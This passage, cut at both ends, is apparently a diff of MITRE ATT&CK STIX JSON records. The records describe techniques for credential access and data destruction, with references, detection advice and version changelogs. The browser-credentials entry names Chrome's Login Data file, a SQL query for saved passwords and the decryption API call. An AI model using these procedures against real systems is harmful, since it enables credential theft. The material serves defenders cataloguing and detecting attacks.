"https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html" + }, + { + "source_name": "GCP Create Cloud Identity Users", + "description": "Google. (n.d.). Create Cloud Identity user accounts. Retrieved January 29, 2020.", + "url": "https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554" + }, + { + "source_name": "GCP Service Accounts", + "description": "Google. (n.d.). Service Accounts Overview. Retrieved February 28, 2024.", + "url": "https://cloud.google.com/iam/docs/service-account-overview" + }, + { + "source_name": "Microsoft Azure AD Users", + "description": "Microsoft. (2019, November 11). Add or delete users using Azure Active Directory. Retrieved January 30, 2020.", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory" + }, + { + "source_name": "Microsoft Entra ID Service Principals", + "description": "Microsoft. (2023, December 15). Application and service principal objects in Microsoft Entra ID. Retrieved February 28, 2024.", + "url": "https://learn.microsoft.com/en-us/entra/identity-platform/app-objects-and-service-principals?tabs=browser" + }, + { + "source_name": "Microsoft Support O365 Add Another Admin, October 2019", + "description": "Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.", + "url": "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian", + "Microsoft Threat Intelligence Center (MSTIC)", + "Arun Seelagan, CISA" + ], + "x_mitre_data_sources": [ + "User Account: User Account Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Collect usage logs from cloud user and administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "SaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2024-03-28 16:14:28.678000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.6\", \"old_value\": \"1.5\"}, \"root['x_mitre_platforms'][3]\": {\"new_value\": \"Identity Provider\", \"old_value\": \"Google Workspace\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][2]\": \"Arun Seelagan, CISA\", \"root['x_mitre_platforms'][2]\": \"Office Suite\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Azure AD\", \"root['x_mitre_platforms'][1]\": \"Office 365\"}}", + "previous_version": "1.5", + "version_change": "1.5 \u2192 1.6", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1030: Network Segmentation", + "M1032: Multi-factor Authentication" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-12 18:57:36.041000+00:00", + "modified": "2024-08-15 14:13:45.294000+00:00", + "name": "Credentials from Web Browsers", + "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim\u2019s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1555/003", + "external_id": "T1555.003" + }, + { + "source_name": "GitHub Mimikittenz July 2016", + "description": "Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019.", + "url": "https://github.com/putterpanda/mimikittenz" + }, + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + }, + { + "source_name": "Microsoft CryptUnprotectData April 2018", + "description": "Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019.", + "url": "https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata" + }, + { + "source_name": "Proofpoint Vega Credential Stealer May 2018", + "description": "Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign" + }, + { + "source_name": "FireEye HawkEye Malware July 2017", + "description": "Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Ryan Benson, Exabeam", + "Barry Shteiman, Exabeam", + "Sylvain Gil, Exabeam", + "RedHuntLabs, @redhuntlabs" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Access", + "File: File Access", + "Process: OS API Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Identify web browser files that contain credentials such as Google Chrome\u2019s Login Data database file: AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"User\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-15 14:13:45.294000+00:00\", \"old_value\": \"2022-02-15 19:29:57.405000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "changelog_mitigations": { + "shared": [ + "M1027: Password Policies" + ], + "new": [ + "M1017: User Training", + "M1018: User Account Management", + "M1021: Restrict Web-Based Content", + "M1051: Update Software" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Access)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-01-22 16:08:40.629000+00:00", + "modified": "2024-08-19 13:53:33.661000+00:00", + "name": "Password Managers", + "description": "Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)\n\nAdversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610)\n Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1555/005", + "external_id": "T1555.005" + }, + { + "source_name": "Cyberreason Anchor December 2019", + "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.", + "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware" + }, + { + "source_name": "FoxIT Wocao December 2019", + "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", + "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf" + }, + { + "source_name": "ise Password Manager February 2019", + "description": "ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021.", + "url": "https://www.ise.io/casestudies/password-manager-hacking/" + }, + { + "source_name": "Github KeeThief", + "description": "Lee, C., Schoreder, W. (n.d.). KeeThief. Retrieved February 8, 2021.", + "url": "https://github.com/GhostPack/KeeThief" + }, + { + "source_name": "NVD CVE-2019-3610", + "description": "National Vulnerability Database. (2019, October 9). CVE-2019-3610 Detail. Retrieved April 14, 2021.", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3610" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Matt Burrough, @mattburrough, Microsoft" + ], + "x_mitre_data_sources": [ + "Process: Process Access", + "Process: OS API Execution", + "File: File Access", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Consider monitoring API calls, file read events, and processes for suspicious activity that could indicate searching in process memory of password managers. \n\nConsider monitoring file reads surrounding known password manager applications.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"User\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-19 13:53:33.661000+00:00\", \"old_value\": \"2022-03-25 13:18:55.310000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "changelog_mitigations": { + "shared": [ + "M1027: Password Policies", + "M1051: Update Software", + "M1054: Software Configuration" + ], + "new": [ + "M1017: User Training", + "M1018: User Account Management" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Access)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-14 18:47:17.701000+00:00", + "modified": "2024-09-25 20:46:14.641000+00:00", + "name": "Data Destruction", + "description": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).\n\nIn cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1485", + "external_id": "T1485" + }, + { + "source_name": "DOJ - Cisco Insider", + "description": "DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging Cisco\u2019s Network. Retrieved December 15, 2020.", + "url": "https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network" + }, + { + "source_name": "Unit 42 Shamoon3 2018", + "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", + "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/" + }, + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + }, + { + "source_name": "FireEye Shamoon Nov 2016", + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html" + }, + { + "source_name": "Kaspersky StoneDrill 2017", + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf" + }, + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + }, + { + "source_name": "Data Destruction - Threat Post", + "description": "Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code Spaces Out of Business. Retrieved December 15, 2020.", + "url": "https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/" + }, + { + "source_name": "Symantec Shamoon 2012", + "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.", + "url": "https://www.symantec.com/connect/blogs/shamoon-attacks" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Brent Murphy, Elastic", + "David French, Elastic", + "Syed Ummar Farooqh, McAfee", + "Prasad Somasamudram, McAfee", + "Sekhar Sarukkai, McAfee", + "Varonis Threat Labs", + "Joey Lei" + ], + "x_mitre_data_sources": [ + "Snapshot: Snapshot Deletion", + "Cloud Storage: Cloud Storage Modification", + "Process: Process Creation", + "File: File Deletion", + "Image: Image Deletion", + "Instance: Instance Deletion", + "File: File Modification", + "Volume: Volume Deletion", + "Cloud Storage: Cloud Storage Deletion", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\\Windows\\System32\\.\n\nIn cloud environments, the occurrence of anomalous high-volume deletion events, such as the DeleteDBCluster and DeleteGlobalCluster events in AWS, or a high quantity of data deletion events, such as DeleteBucket, within a short period of time may indicate suspicious activity.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS", + "Containers" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-25 20:46:14.641000+00:00\", \"old_value\": \"2023-10-03 17:30:32.192000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\\n\\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\\n\\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).\\n\\nIn cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider)\", \"old_value\": \"Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\\n\\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\\n\\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).\\n\\nIn cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider)\", \"diff\": \"--- \\n+++ \\n@@ -4,4 +4,4 @@\\n \\n To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).\\n \\n-In cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider)\\n+In cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][1]\": \"Cloud Storage: Cloud Storage Modification\"}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may destroy data and files on specific systems ot1Adversaries may destroy data and files on specific systems o
>r in large numbers on a network to interrupt availability to>r in large numbers on a network to interrupt availability to
> systems, services, and network resources. Data destruction > systems, services, and network resources. Data destruction 
>is likely to render stored data irrecoverable by forensic te>is likely to render stored data irrecoverable by forensic te
>chniques through overwriting files or data on local and remo>chniques through overwriting files or data on local and remo
>te drives.(Citation: Symantec Shamoon 2012)(Citation: FireEy>te drives.(Citation: Symantec Shamoon 2012)(Citation: FireEy
>e Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Ci>e Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Ci
>tation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon>tation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon
>3 2018)(Citation: Talos Olympic Destroyer 2018) Common opera>3 2018)(Citation: Talos Olympic Destroyer 2018) Common opera
>ting system file deletion commands such as <code>del</code> >ting system file deletion commands such as <code>del</code> 
>and <code>rm</code> often only remove pointers to files with>and <code>rm</code> often only remove pointers to files with
>out wiping the contents of the files themselves, making the >out wiping the contents of the files themselves, making the 
>files recoverable by proper forensic methodology. This behav>files recoverable by proper forensic methodology. This behav
>ior is distinct from [Disk Content Wipe](https://attack.mitr>ior is distinct from [Disk Content Wipe](https://attack.mitr
>e.org/techniques/T1561/001) and [Disk Structure Wipe](https:>e.org/techniques/T1561/001) and [Disk Structure Wipe](https:
>//attack.mitre.org/techniques/T1561/002) because individual >//attack.mitre.org/techniques/T1561/002) because individual 
>files are destroyed rather than sections of a storage disk o>files are destroyed rather than sections of a storage disk o
>r the disk's logical structure.  Adversaries may attempt to >r the disk's logical structure.  Adversaries may attempt to 
>overwrite files and directories with randomly generated data>overwrite files and directories with randomly generated data
> to make it irrecoverable.(Citation: Kaspersky StoneDrill 20> to make it irrecoverable.(Citation: Kaspersky StoneDrill 20
>17)(Citation: Unit 42 Shamoon3 2018) In some cases political>17)(Citation: Unit 42 Shamoon3 2018) In some cases political
>ly oriented image files have been used to overwrite data.(Ci>ly oriented image files have been used to overwrite data.(Ci
>tation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoo>tation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoo
>n Nov 2016)(Citation: Kaspersky StoneDrill 2017)  To maximiz>n Nov 2016)(Citation: Kaspersky StoneDrill 2017)  To maximiz
>e impact on the target organization in operations where netw>e impact on the target organization in operations where netw
>ork-wide availability interruption is the goal, malware desi>ork-wide availability interruption is the goal, malware desi
>gned for destroying data may have worm-like features to prop>gned for destroying data may have worm-like features to prop
>agate across a network by leveraging additional techniques l>agate across a network by leveraging additional techniques l
>ike [Valid Accounts](https://attack.mitre.org/techniques/T10>ike [Valid Accounts](https://attack.mitre.org/techniques/T10
>78), [OS Credential Dumping](https://attack.mitre.org/techni>78), [OS Credential Dumping](https://attack.mitre.org/techni
>ques/T1003), and [SMB/Windows Admin Shares](https://attack.m>ques/T1003), and [SMB/Windows Admin Shares](https://attack.m
>itre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2>itre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2
>012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto>012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto
> Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Cita> Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Cita
>tion: Talos Olympic Destroyer 2018).  In cloud environments,>tion: Talos Olympic Destroyer 2018).  In cloud environments,
> adversaries may leverage access to delete cloud storage, cl> adversaries may leverage access to delete cloud storage obj
>oud storage accounts, machine images, and other infrastructu>ects, machine images, database instances, and other infrastr
>re crucial to operations to damage an organization or their >ucture crucial to operations to damage an organization or th
>customers.(Citation: Data Destruction - Threat Post)(Citatio>eir customers.(Citation: Data Destruction - Threat Post)(Cit
>n: DOJ  - Cisco Insider)>ation: DOJ  - Cisco Insider)
", + "changelog_mitigations": { + "shared": [ + "M1053: Data Backup" + ], + "new": [ + "M1018: User Account Management", + "M1032: Multi-factor Authentication" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0007: Image (Image Deletion)", + "DS0009: Process (Process Creation)", + "DS0010: Cloud Storage (Cloud Storage Deletion)", + "DS0017: Command (Command Execution)", + "DS0020: Snapshot (Snapshot Deletion)", + "DS0022: File (File Deletion)", + "DS0022: File (File Modification)", + "DS0030: Instance (Instance Deletion)", + "DS0034: Volume (Volume Deletion)" + ], + "new": [ + "DS0010: Cloud Storage (Cloud Storage Modification)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-02 14:30:05.252000+00:00", + "modified": "2024-10-15 18:21:43.760000+00:00", + "name": "Runtime Data Manipulation", + "description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the 